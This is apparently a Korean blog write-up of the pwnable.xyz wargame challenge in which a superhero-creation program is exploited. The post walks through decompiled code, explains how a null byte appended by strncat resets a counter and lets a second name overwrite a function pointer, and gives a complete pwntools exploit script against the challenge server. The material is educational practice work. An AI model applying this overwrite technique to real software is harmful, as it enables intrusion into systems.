1. 문제
1) mitigation 확인
PIE가 안걸려있다. 하지만 FUll RELRO이다
2) 문제 확인
슈퍼 히어로를 생성하면 스킬을 선택할수 있다. 그리고 2번 메뉴로 슈퍼파워를 사용하면 개소리가 출력된다. 3번 메뉴로 생성했던 슈퍼히어로를 삭제할 수 있다.
3) 코드 확인
- create_hero() 함수
unsigned __int64 createHero() { char *hero_name; // rax int v1; // eax int size; // [rsp+4h] [rbp-7Ch] char buf; // [rsp+10h] [rbp-70h] int v5; // [rsp+70h] [rbp-10h] unsigned __int64 v6; // [rsp+78h] [rbp-8h] v6 = __readfsqword(0x28u); memset(&buf, 0, 0x60uLL); v5 = 0; if ( count ) { puts("Br0, you already have a hero..."); return __readfsqword(0x28u) ^ v6; } ++count; puts("How long do you want your superhero's name to be? "); size = getInt(); if ( size < 0 || size > 0x64 ) { puts("Bad size!"); return __readfsqword(0x28u) ^ v6; } printf("Great! Please enter your hero's name: "); read(0, &buf, size); hero_name = strchr(hero_name_bss, 0); strncat(hero_name, &buf, 0x64uLL); printSuperPowers(); v1 = getInt(); if ( v1 == 2 ) { power = (__int64 (*)(void))crossfit; strcpy((char *)&myHero, "crossfit"); goto LABEL_19; } if ( v1 <= 2 ) { if ( v1 != 1 ) goto LABEL_17; power = (__int64 (*)(void))hadouken; strcpy((char *)&myHero, "hadouken"); LABEL_19: puts("Superhero successfully created!"); return __readfsqword(0x28u) ^ v6; } if ( v1 == 3 ) { power = (__int64 (*)(void))wrestle; strcpy((char *)&myHero, "wrestling"); goto LABEL_19; } if ( v1 == 4 ) { power = (__int64 (*)(void))floss; strcpy((char *)&myHero, "flossing"); goto LABEL_19; } LABEL_17: puts("not a valid power!"); if ( count ) zeroHero(); return __readfsqword(0x28u) ^ v6; }
해당 함수를 한번 호출하게 되면 count가 증가한다. count에 값이 들어있으면 해당 함수는 바로 종료가 된다. 따라서 create_hero() 함수는 딱 한번 호출 가능하다. 그리고 히어로 이름 사이즈를 입력하게 되고, 최대 0x64 사이 이름의 입력이 가능하다.
그다음 스킬을 선택하게 되는데, myHero라는 함수포인터에 각 입력한 인덱스에 맞는 함수포인터가 저장된다. 이 값은 메인 메뉴에서 2번 선택시 호출된다.
strchr()
함수로 bss영역에 존재하는 hero_name_bss 변수에서 널값을 찾는다. 초기에는 해당 영역이 0으로 초기화 되어있으므로 hero_name_bss 변수 주소 그대로 리턴하게 되고, 이 영역에strncat
함수로 입력한 값을 이어붙인다.
2. 접근방법
현재 우리가 입력할수 있는 공간은, hero_name_bss 영역이다.
- myHero : power 함수포인터가 들어감
- count : create_hero 함수 호출시 1이 됨
- hero_name_bss : 여기에 입력한 이름이 들어감
- power : 스킬 함수포인터가 들어감
결국 우리가 입력하는 read함수부터 분석을 해야한다. 최대 100바이트 입력을 하게 되면 strncat으로 hero_name_bss에 꽉차게 입력값이 들어가는데, strncat 함수 특성상 마지막에 널값이 붙는다. 따라서 count가 0이 되고, create_hero
함수를 여러번 호출가능하다. 그렇다면 두번째 crete_hero
함수를 호출하면, count+1 영역부터 입력값이 strncat으로 붙여진다.
결국 7바이트 더미 + win함수 주소를 넣으면, power에 win함수 주소가 들어가고, 3번 메뉴를 이용하여 myhero 함수포인터에 담긴 win함수가 호출된다.
3. 풀이
최종 익스코드는 다음과 같다
from pwn import *
p=remote("svc.pwnable.xyz",30032)
#p=process("./challenge")
#gdb.attach(p,'code\nb *0xCB8+$code\n')
p.sendlineafter("> ","1")
p.sendlineafter("\n","100")
p.sendafter("name: ","A"*100)
p.sendlineafter("> ","5")
p.sendlineafter("> ","1")
p.sendlineafter("\n","100")
p.sendafter("name: ","A"*7+p64(0x400A33))
p.sendlineafter("> ","5")
p.sendlineafter("> ","2")
p.interactive()
4. 몰랐던 개념
- none
'워게임 > pwnable.xyz' 카테고리의 다른 글
[pwnable.xyz] nin (0) | 2020.05.16 |
---|---|
[pwnable.xyz] Dirty Turtle (0) | 2020.05.14 |
[pwnable.xyz] note v2 (0) | 2020.05.13 |
[pwnable.xyz] badayum (0) | 2020.05.12 |
[pwnable.xyz] password (2) | 2020.05.12 |